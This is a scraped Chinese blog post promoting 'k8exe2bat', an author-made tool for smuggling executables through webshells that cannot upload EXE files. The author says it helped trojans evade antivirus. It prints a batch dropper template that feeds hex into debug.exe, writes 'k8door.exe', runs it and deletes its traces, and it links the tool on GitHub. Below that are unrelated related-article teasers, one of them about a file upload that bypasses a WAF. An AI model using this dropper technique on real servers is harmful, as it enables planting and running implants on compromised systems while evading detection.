[原创]k8exe2bat任意文件转Bat工具(WebShell无法上传EXE解决方案)
http://qqhack8.blog.163.com/blog/static/114147985201126105626755/
这是我2011年的东西了,当时用此方法可免杀很多马,至今依然有很大的用处
比如有一些WebShell,特别菜刀无法直接上传exe文件时(当然该工具可传任意文件)
可通过此方法向目标上传任意文件(菜刀下载功能不可用或没VPS做WEB下载的情况)
现在依旧可用于类似奇葩环境,特别是S2环境很多时候仅能上传文本
[原创]3KB大小 EXE转BAT 工具原理以及编写思路
2011-03-06 22:56:26| 分类: 原创工具
这是我在某群里 看到 别人发出来的一分 所谓 “加密的” 批处理 研究下
本工具原理 以及 使用 方法 如图 “加密” 后的BAT 如同以下源码类似
真正懂编程的朋友 说错 只要懂点BAT Debug 和 Hex是神马东西的朋友
我相信 你一看 下面的BAT 代码 就知道什怎么写这个工具 提示:97编程冠军
附件中 那个只有3KB 大小 命令行下操作的工具 我是用C 写的
运行 工具原理.bat 会输出一个样本 k8door.exe 上面有工具的详细 编写思路
=================我是分隔线================================
@echo e 0100 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 >>k8team
@echo e 0110 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>k8team
@echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>k8team
@echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 >>k8team
。。。。。。。。这里省略N行。。。。。。。。。。。
@echo e 4100 ff
@echo rcx>>k8team
@echo 4000>>k8team
@echo n k8tmp>>k8team
@echo w>>k8team
@echo q>>k8team
@debug<k8team>nul
@Copy /b /y k8tmp k8door.exe
@start k8door.exe
@del k8t*
https://github.com/k8gege/K8tools/blob/master/k8exe2bat.exe
[原创]k8exe2bat任意文件转Bat工具(WebShell无法上传EXE解决方案)的更多相关文章
- Linux系统下curl命令上传文件,文件名包含逗号无法上传
使用curl命令,将备份好的图片全部重新导入到seaweedfs,图片全部以存储在seaweedfs中的fid命令, fid中间有一个逗号,使用curl命令时报错: curl: (26) couldn ...
- abp ueditor 多图以及文件无法上传
abp .net core使用ueditor遇到的问题:多图和上传文件无法上传,提示“http://请求错误”. 400 bad request解决办法: 因为abp默认启用了ValidateAnti ...
- Web应用:当文件超过100KB,无法上传,有种原因你想象不到
今天下午2点多,突然发现凡是文件超过100KB的,在上传的时候都会卡住,但低于100KB的文件可以上传成功. 服务器端使用的是asp无组件上传,为什么突然出现这种问题呢? 我们知道,IIS默认上传限制 ...
- mac下svn无法上传.a文件的问题
Xcode自带的svn和Versions以及一些其它工具都默认ignore".a"文件. 解决办法有两个: 方法一:使用命令行添加文件([转]原文在这) 1.打开终端,输入cd,空 ...
- .net项目中上传的图片或者文件太大 无法上传
最近做项目的时候 用户提出要上传大图片 一张图片有可能十几兆 本来用的第三方的上传控件 有限制图片上传大小的设置 以前设置的是2M 按照用户的要求 以为直接将限制图片上传大小的设置改下就可 ...
- 关于cornerstone无法上传library文件的问题
在CornerStone中先选中左边的项目: 然后在菜单栏里面选择View->ShowIgnoreItems, 再选择项目中的library文件,点击Add按钮即可上传到服务器:
- cvs 文件无法上传debug
当时文件始终上传不成功时(一般先update后commit): cvs update filename report:move away filename ,it is in the way cvs ...
- nextcloud大文件无法上传
I think that if u got a small /tmp like i had u cant upload big file…My /tmp = 462M so i can upload ...
- 当任意文件上传偶遇Safedog
0x01 写在前面 渗透过程中可能会经常遭遇WAF,此时不要轻易放弃,绞尽脑汁竭尽全力,或许弹尽粮绝之时也是柳暗花明之日. 0x02 过狗上传 一次项目渗透过程中,找个一处上传功能 先上传图片,测试上 ...
随机推荐
- Reveal Cards In Increasing Order LT950
In a deck of cards, every card has a unique integer. You can order the deck in any order you want. ...
- HTTP协议之url详解
HTTP使用统一资源标识符(Uniform Resource Identifiers, URI)来传输数据和建立连接.URL是一种特殊类型的URI,包含了用于查找某个资源的足够的信息 URL,全称是U ...
- mysql从的配置文件
mysql 从的配置文件 [client]port = 3306socket = /data/mysql/data/mysql.sock#default-character-set=utf8[mysq ...
- Mysql数据库每天定时执行备份方法
此数据库备份方法是简单的数据库备份方法,就是从Mysql的数据文件下,将数据库文件拷贝到指定的文件夹目录下 1.创建txt文件,添加脚本 net stop mysql xcopy D:\MySql\D ...
- keepalived高可用简介与配置
keepalived简介 keepalived介绍 Keepalived 软件起初是专为LVS负载均衡软件设计的,用来管理并监控LVS集群系统中各个服务节点的状态,后来又加入了可以实现高可用的VRRP ...
- Java上传和下载
1.文件的上传 [1] 简介 > 将一个客户端的本地的文件发送到服务器中保存. > 上传文件是通过流的形式将文件发送给服务器. [2] 表单的设置 > 向服务器上传一个文件时,表单要 ...
- JavaScript RegExp(正则)
第一种方式是直接通过/正则表达式/写出来,第二种方式是通过new RegExp('正则表达式')创建一个RegExp对象. 两种写法是一样的: var re1 = /ABC\-001/; var re ...
- 最近项目中使用Spring data jpa 踩过的坑
最近在做一个有关OA项目中使用spring data JPA 操作数据库,结果遇到了补个不可思议的麻烦.困惑了好久. 首先看一下问题吧,这就是当时测试“设置角色时,需要首先删除该用户已经拥有的角色时” ...
- .gvfs: Permission denied
命令行输入umount .gvfs rm -rf .gvfs
- Exp7 网络欺诈防范
Exp7 网络欺诈防范 20154305 齐帅 一.实践内容 本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法.具体实践有 (1)简单应用SET工具建立冒名网站 (2)ett ...